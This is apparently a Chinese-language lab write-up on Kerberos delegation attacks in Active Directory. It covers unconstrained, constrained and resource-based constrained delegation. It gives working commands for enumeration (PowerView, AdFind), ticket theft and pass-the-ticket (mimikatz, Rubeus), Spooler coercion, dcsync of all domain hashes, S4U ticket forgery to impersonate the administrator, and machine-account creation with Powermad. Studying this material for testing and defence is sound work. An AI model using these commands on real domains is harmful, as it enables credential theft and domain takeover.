域委派攻擊
簡介
域委派是指將域內用戶的權限委派給服務賬戶，使得相關服務賬戶能夠以域用戶的權限獲得相關域內服務資源權限
主要還是充分發揮windows的權限控制，假設用戶A利用自己的身份可以訪問到一個網站B，請求網站的資源C，但是網站B上邊本身沒有資源C，那么網站B就需要用用戶A的身份去訪問另外一台機器去獲取資源C再給到用戶
非約束委派
用戶A去訪問服務B，服務B的服務賬戶開啟了非約束委派，那么當用戶A訪問服務B的時候會將用戶A的TGT發送給服務B並保存進內存，服務B能夠利用用戶A的身份去訪問用戶A能夠訪問的任意服務
1、用戶機器向KDC（密鑰分發中心）發送消息請求可轉發的TGT1（認證票據）
2、KDC在消息中給返回TGT1（訪問服務1使用）
3、用戶通過TGT1請求轉發TGT2（訪問服務2使用）
4、KDC返回消息TGT2
5、用戶使用TGT1向KDC申請訪問服務1
6、TGS（票據發放服務）返回ST（服務票據）
7、用戶發送AP_REQ請求服務1，包含了TGT1、TGT2、TGT2的sessionkey
8、服務1使用用戶發送過來的TGT2請求KDC，並以用戶身份請求服務2的ST
9、KDC返回服務2的ST到服務1，這里ST將來源請求標記為用戶機器，而不是服務1
10、服務1以用戶名義請求服務2
11、服務2回應服務2請求
12、服務1回應用戶機器請求
13、服務1能夠向KDC請求其他服務ST
14、KDC返回其他服務ST
15、服務1用用戶名義請求其他服務
16、其他服務回應服務1
本地環境
域控如下
域內主機
委派功能僅服務賬號與主機賬號才有相關委派功能：
普通用戶默認無相關權限設置：
如下將主機用戶設置為非約束委派：
powerview查詢配置非約束委派的賬戶：
Get-NetUser -Unconstrained -Domain 0day.org
查詢配置非約束委派的主機
Get-domaincomputer -Unconstrained -Domain 0day.org
Get-domaincomputer尋找trusted_for_delegation也可，當服務賬戶或者主機被設置為非約束委派時候，userAccountControl屬性將包含trusted_for_delegation
另外台機器的屬性(其他環境的)
adfind查詢非約束委派的主機：
AdFind.exe -b "DC=rootkit,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
非約束委派的用戶：
AdFind.exe -b "DC=rootkit,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
利用案例
此處使用winrm服務遠程連接域內主機：
此時域管的憑證已緩存於目標機器，使用域內機器登錄本地管理員，導出相關憑證：
privilege::debug
sekurlsa::tickets /export
此時先嘗試連接域控，均無法連接：
導入先前憑證：
kerberos::ptt 憑證名稱
kerberos::list
需使用主機名進行訪問，ip地址無法成功：
遠程連接域控如下：
非約束委派&Spooler
默認情況下Spooler服務為自動啟動
確認目標主機開啟相關權限
通過SpoolSample.exe，向域控發起請求，強制其訪問PC進行身份驗證，此次更換了多個環境，均出現報錯，等實戰再嘗試了
SpoolSample.exe OWA2013 PC-micle-Kit
后續用Rubeus來監聽事件id為4624的事件，可以第一事件截取到域控的TGT，監聽來自域控OWA2013的登錄
Rubeus.exe monitor /interval:1 /filteruser:OWA2013$
后續再Rubeus導入base64的票據直接注入進內存
Rubeus.exe ptt /ticket:base64
用mimikatz也可
privilege::debug
sekurlsa::tickets /export
導入票據后ptt即可
kerberos::ptt XXX.kirbi
lsadump::dcsync /domain:rootkit.org /all /csv
約束委派
因為非約束委派的不安全性，約束委派應運而生。在2003之后微軟引入了非約束委派，對Kerberos引入S4U，包含了兩個子協議S4U2self、S4U2proxy。S4U2self可以代表自身請求針對其自身的Kerberos服務票據(ST)，S4U2proxy可以以用戶的名義請求其它服務的ST，約束委派就是限制了S4U2proxy擴展的范圍
1、用戶向service1發出請求，用戶已通過身份驗證，但service1沒有用戶的授權數據，通常這是由於身份驗證是通過Kerberos以外的其他方式驗證的
2、通過S4U2self以用戶的名義向KDC請求用於訪問service1的ST1
3、KDC返回給service1一個用於用戶驗證service1的ST1
4、service1可以使用ST中的授權數據來滿足用戶的請求，然后響應用戶
注：盡管S4U2self向service1提供有關用戶的信息，但S4U2self不允許service1代表用戶發出其他服務的請求，這時候就輪到S4U2proxy發揮作用了
5、用戶向service1發出請求，service1需要以用戶身份訪問service2的ST2
6、service1以用哦過戶的名義向KDC請求用戶訪問service2的ST2
7、如果請求中包含PAC，則KDC通過檢查PAC的簽名數據來驗證PAC，如果PAC不存在，則KADC返回ST2給service1
8、service1使用st2以用戶的名義向service2發送請求，並判定用戶已由KDC進行身份驗證
9、service2響應步上一步請求
10、service1響應用戶對自己的請求
主要就是收到用戶請求后，代表用戶獲得針對服務自身的可轉發的kerberos服務票據（S4U2self）,用這個票據向KDC請求訪問特定服務的課轉發的TGS（S4U2proxy），並且代表用戶訪問特定服務，而且只能訪問該特定服務
本地環境
此處如果沒有用戶，需要新建個用戶，加上spn標識為服務用戶
setspn -A MSSQLSvc/Srv-Web-Kit.rootkit.org:1433 dbadmin
設置服務用戶對Srv-Web-Kit的cifs服務的委派
已知在約束委派的情況下，服務用戶只能獲取某個用戶或者主機的服務ST，只能用模擬用戶訪問特定的服務，是無法獲取用戶的TGT的，如果能夠獲得到開啟了約束委派的服務的用戶的明文密碼或者hash就可以偽造S4U的請求，進而偽造服務用戶以任意賬戶的權限訪問服務的ST
利用案例
通過kekeo請求服務用戶的TGT
tgt::ask /user:dbadmin /domain:rootkit.org /password:admin!@#45 /ticket:test.kirbi
同理此處利用ntlmhash也是可以進行請求的
tgt::ask /user:dbadmin /domain:rootkit.org /NTLM:XXXXX
利用這個票據通過偽造S4U請求以administrator身份訪問Srv-Web-Kit的ST
tgs::s4u /tgt:TGT_dbadmin@ROOTKIT.ORG_krbtgt~rootkit.org@ROOTKIT.ORG.kirbi /user:Administrator@rootkit.org /service:cifs/Srv-Web-Kit.rootkit.org
S4U2Self獲取到的ST1，以及S4U2Proxy獲取到的Srv-Web-Kit的CIFS服務的ST2會保存在當前目錄下
通過mimikatz將憑證注入進內存
kerberos::ptt cifs的憑證
確認具備相關憑證
基於資源的約束委派
注意：server2012才引入了基於資源的約束委派！！！
無需域管設置相關屬性，請求ST的過程與先前的約束委派類似，傳統的約束委派S4U2Self返回的票據一定是可轉發的，如果不可轉發那么S4U2Proxy將失敗；但是基於資源的約束委派不同，就算S4U2Self返回的票據不可轉發（可不可以轉發由TrustedToAuthenticationForDelegation決定），S4U2Proxy也是可以成功，並且S4U2Proxy返回的票據總是可轉發
總之需要用戶對主機的屬性具備寫權限
本地環境
增加用戶對主機的權限
powerview查詢權限
Get-DomainUser -Identity 用戶名 -Properties objectsid 獲取sid
Get-DomainObjectAcl -Identity 目標主機名 | ?{$_.SecurityIdentifier -match "sid"}
如下，當前的dbadmin對Srv-Web-Kit具備完全控制權限，不僅限於GenericAll（完全控制），GenericWrite、WriteProperty、WriteDacl等等權限都是可以修改賬戶屬性的。
進一步創建機器用戶，這里用powermad的ps腳步即可
https://github.com/Kevin-Robertson/Powermad
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount testsystem -Password $(ConvertTo-SecureString "test" -AsPlainText -Force)
powerview查詢機器賬戶sid
get-domiancomputer testsystem
S-1-5-21-3759881954-2993291187-3577547808-2103
修改目標的msDS-AllowedToActOnBehalfOfOtherIdentity值，可使用powerview或ActiveDirectory
通過powerview
確認添加成功
Get-DomainComputer Srv-Web-Kit -Properties msds-allowedtoactonbehalfofotheridentity
如下可進行清除
Set-DomainObject Srv-Web-Kit -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
Get-ADComputer Srv-Web-Kit -Properties PrincipalsAllowedToDelegateToAccount
通過ActiveDirectory，僅12及以上的ActiveDirectory才有這個模塊
Set-ADComputer Srv-Web-Kit -PrincipalsAllowedToDelegateToAccount testsystem$
Get-ADComputer Srv-Web-Kit -Properties PrincipalsAllowedToDelegateToAccount
利用案例
Rubeus
確認無法訪問Srv-Web-Kit的資源
Rubeus是不支持明文的，需轉為hash
Rubeus.exe hash /user:testsystem /password:test /domain:rootkit.org
用testsystem的hash請求白銀票據並導入至會話
Rubeus.exe s4u /user:testsystem$ /rc4:0CB6948805F797BF2A82807973B89537 /impersonateuser:administrator /msdsspn:cifs/Srv-Web-Kit /ptt
這里已經拿到的憑證，但依舊無法訪問到服務
此處psexec也無權限
嘗試host票據，獲得憑證信息如下
Rubeus.exe s4u /user:testsystem$ /rc4:0CB6948805F797BF2A82807973B89537 /impersonateuser:administrator /msdsspn:host/Srv-Web-Kit /ptt
但此處依舊無權限，很奇怪，這里做完host的憑證應該是正常的，暫時沒解決這個問題，如果有大佬知道請一定告訴我，萬分感謝
mimikatz
impacket的getst生成票據，ccache為相關緩存文件：
getST_windows.exe -dc-ip 192.168.3.144 rootkit.org/testsystem\$:test -spn cifs/Srv-Web-Kit.rootkit.org -impersonate administrator
mimikatz導入憑證
kerberos::ptc administrator.ccache
確認憑證生成，確認目標服務能夠訪問到
參考
https://xz.aliyun.com/t/7217#toc-3
https://xz.aliyun.com/t/7454
https://skewwg.github.io/2020/11/25/ji-yu-zi-yuan-de-yue-shu-wei-pai-li-yong/
https://y4er.com/post/kerberos-constrained-delegation/
https://eviladan0s.github.io/2020/04/14/kerberos-delegation/#%E5%8E%9F%E7%90%86
http://www.const27.com/2020/10/12/%e5%9f%9f%e5%a7%94%e6%b4%be%e6%94%bb%e5%87%bb/
